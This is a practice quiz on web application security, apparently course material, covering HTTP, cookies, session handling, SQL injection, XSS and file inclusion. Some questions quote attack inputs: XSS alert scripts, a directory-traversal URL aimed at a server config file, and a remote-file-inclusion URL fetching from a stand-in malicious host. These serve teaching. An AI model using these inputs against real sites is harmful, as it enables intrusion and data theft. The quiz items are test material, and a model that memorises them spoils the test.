Skip to content

lab19.md

Latest commit

 

History

History
355 lines (249 loc) · 11 KB

lab19.md

File metadata and controls

355 lines (249 loc) · 11 KB
Raw

Practice Quiz - Performing Post-Exploitation Techniques

Question 1

Which two functions are provided by a web proxy device? (Choose two.)

  • Caching of HTTP messages
  • Scanning a web server for related contents
  • Translating HTTP messages to FTP and SMTP messages
  • Enabling HTTP transfers across a firewall
  • Encrypting HTTP packets transmitted between web clients and web servers

Question 2

Match the HTTP status code contained in a web server response to the description.

Categories:

  • Codes in the 200 range: _____
  • Codes in the 300 range: _____
  • Codes in the 400 range: _____
  • Codes in the 500 range: _____
  • Codes in the 100 range: _____

Options:

  • Related to server errors
  • Related to client errors
  • Related to successful transactions
  • Informational
  • Related to HTTP redirections

Question 3

Match the elements in the URL ftp://xyz-company.com:2457/support/file;id=65?name=intro&r=true to the description.

Categories:

  • xyz-company.com: _____
  • 2457: _____
  • support/file: _____
  • ftp: _____
  • name=intro&r=true: _____
  • id=65: _____

Options:

  • Scheme
  • Path
  • Path-segment-params
  • Query-string
  • Port
  • Host

Question 4

Which function is provided by HTTP 2.0 to improve performance over HTTP 1.1?

  • HTTP 2.0 compresses HTTP messages.
  • HTTP 2.0 provides HTTP message multiplexing and requires fewer messages to download web content.
  • HTTP 2.0 uses tokens as a mechanism to track web sessions.
  • Enabling HTTP transfers across a firewall.
  • HTTP 2.0 uses UDP instead of TCP as transport layer protocol.

Question 5

Why should application developers change the session ID names used by common web application development frameworks?

  • These session ID names are not published in public documents.
  • These session ID names can be used to fingerprint the application framework employed.
  • These session ID names are used randomly and make integration of frameworks impossible.
  • These session ID names typically contain a short length of numerical numbers and can be easily cracked.

Question 6

A user is using an online shopping website to order laptop computers. Which mechanism is used by the shopping site to securely maintain user authentication during shopping?

  • IP address
  • Session ID
  • Username and password
  • One-time password assigned

Question 7

What is the best mitigation approach against session fixation attacks?

  • Ensure that the session ID uses at least 64 bits of characters.
  • Ensure that the session ID is used after a user completes authentication.
  • Ensure that the session ID is exchanged only through an encrypted channel.
  • Ensure that the session ID changes from the default session name used by the web application framework.

Question 8

Which two attributes can be set in a web application cookie to indicate it is a persistent cookie? (Choose two.)

  • Expires
  • Max-Age
  • Domain
  • Secure
  • Path

Question 9

Which international organization is dedicated to educating industry professionals, creating tools, and evangelizing best practices for securing web applications and underlying systems?

  • Common Vulnerabilities and Exposures (CVE)
  • Open Web Application Security Project (OWASP)
  • Institution of Electrical and Electronics Engineering (IEEE)
  • SysAdmin, Audit, Network and Security (The SANS Institute)

Question 10

Which component in the statement below is most likely user input on a web form?

SELECT * FROM group WHERE attack = ‘network’ AND a-type LIKE ‘ping%’;

  • ping
  • group
  • attack
  • a-type
  • network

Question 11

Which statement describes an example of an out-of-band SQL injection attack?

  • An attacker launches the attack on a web site and forces the web application to delay the query results.
  • An attacker launches the attack on a web site and views the query results immediately on the screen.
  • An attacker launches the attack on a web site and reconstructs the information by sending specific SQL statements.
  • An attacker launches the attack on a web site and forces the web application to send the query results via an email.

Question 12

A threat actor launches an SQL injection attack against a web site by sending multiple specific statements to the web site and reconstructing the key information the threat actor seeks. What type of SQL injection attack is the threat actor using?

  • Blind
  • In-band
  • Error-based
  • Out-of-band

Question 13

An attacker launches an SQL injection attack on a web application by trying to force the application requesting the back-end database to perform multiple SELECT queries. Which technique exploits the SQL injection vulnerability on the web application?

  • Boolean
  • Error-based
  • Out-of-band
  • Union operator
  • Time delay

Question 14

Which type of SQL query is in the SQL statement SELECT * FROM users WHERE user = "admin";?

  • Static query
  • Stacked query
  • Out-of-band query
  • Parameterized query

Question 15

A company uses the Microsoft Active Directory service to manage the authentication and authorization of employee workstations. The company hires a cybersecurity professional to perform compliance penetration testing. Which type of penetration testing can be used to verify the proper configuration of the Active Directory service?

  • LDAP injection
  • SQL Union injection
  • HTTP command injection
  • Stacked query SQL injection

Question 16

What is a potentially dangerous web session management practice?

  • Including the session ID in the URL
  • Setting a cookie with the Expires attribute
  • Setting a cookie with the Max-Age attribute
  • Configuring a cookie with the HTTPOnly flag

Question 17

A web application configures client cookies with the HTTPOnly flag. What is the effect of this flag?

  • It informs the web client that the cookie is a persistent cookie.
  • It forces the web browser to have the cookies processed only by the server.
  • It requires the web browser to establish a secure HTTPS link to the server.
  • It indicates to the web browser that web client-based code can access the cookie.

Question 18

An organization has developed a network security policy stating that newly purchased routers and switches must be configured with advanced security measures before deploying them to the production network. Which threat does this policy mitigate?

  • Redirect attack
  • Session hijacking
  • Kerberos vulnerability
  • Default credential attack

Question 19

An attacker sends a request to an online university portal site with the information:

https://portal.a-univ.edu/?search=students&results=50&search=staff

Which type of vulnerability does the attacker try to exploit?

  • Redirect
  • Session hijacking
  • Default credential
  • HTTP parameter pollution

Question 20

A company has hired a cybersecurity firm to assess web server security posture. To test for cross-site scripting vulnerabilities, the tester will use the string <script>alert("XSS Test Now")</script>. Where would the tester use the string?

  • In an HTTP header
  • In an error message
  • In a terminal window on the server
  • In a user input field in a web form

Question 21

According to OWASP, which three statements are rules to prevent XSS attacks? (Choose three.)

  • Use the HTML <a> tag with JavaScript encoding.
  • Use HTTPS only mode for accessing web applications.
  • Use HTML escape before inserting untrusted data into HTML element content.
  • Use the HTML img tag with a combination of hexadecimal HTML character references.
  • Use attribute escape before inserting untrusted data into HTML common attributes.
  • Use JavaScript escape before inserting untrusted data into JavaScript data values.

Question 22

After some reconnaissance efforts, an attacker identified a web server hosted on a Linux system. The attacker then entered the URL shown below,

http://192.168.46.82:45/vulnerabilities/fi/?page=../../../../../etc/httpd/httpd.conf

Which type of web vulnerability is being exploited by the attacker?

  • Stored XSS
  • Reflected XSS
  • Directory traversal
  • Cookie manipulation

Question 23

An attacker enters the following URL to exploit vulnerabilities in a web application:

http://192.168.47.8:76/files/fi/?page=http://malicious.h4cker.org/cookie.html

Which type of vulnerability did the attacker try to exploit?

  • Directory traversal
  • Cookie manipulation
  • Local file inclusion
  • Remote file inclusion

Question 24

Because of an insecure code practice

, a web application returns user inputs in web pages without proper validation. An attacker exploits this weakness and enters the following input to try to execute a JavaScript code on the client browser.

<script>alert(‘XSS’);</script>

Which type of attack is this?

  • Injection attack
  • DDoS attack
  • Cross-site scripting (XSS)
  • CSRF

Question 25

A web application uses user-supplied input without proper validation in a request that is routed to a search service. Which attack method is this?

  • Directory traversal
  • Cross-site scripting
  • SQL injection
  • Parameter manipulation

Question 26

Which type of vulnerability can be exploited by an attacker when a web application sends information to the user's browser that allows the attacker to manipulate the way the browser interprets the content?

  • HTTP response splitting
  • Cookie manipulation
  • Cross-site scripting
  • CSRF

Question 27

Which web security architecture design provides a mechanism to separate user input and application logic?

  • Network security architecture
  • Server security architecture
  • Application security architecture
  • Client security architecture

Question 28

Which component in a web application is responsible for enforcing access control to resources?

  • Content security policy
  • Role-based access control
  • Encryption
  • Authentication

Question 29

A company has a web application that allows users to update their profiles with personal data. A security audit reveals that the application does not have adequate input validation measures in place. What vulnerability exists in the application?

  • SQL injection
  • Cross-site scripting
  • Session fixation
  • Input data overflow

Question 30

Which statement describes a web application firewall (WAF)?

  • WAF is used to monitor network traffic for potential intrusion attempts.
  • WAF is a tool for managing user sessions in web applications.
  • WAF is a security solution specifically designed to protect web applications from attacks.
  • WAF is a software tool used to identify vulnerabilities in networked systems.

Instructions

  • Select the correct answers for each question.
  • Submit your answers at the end of the quiz.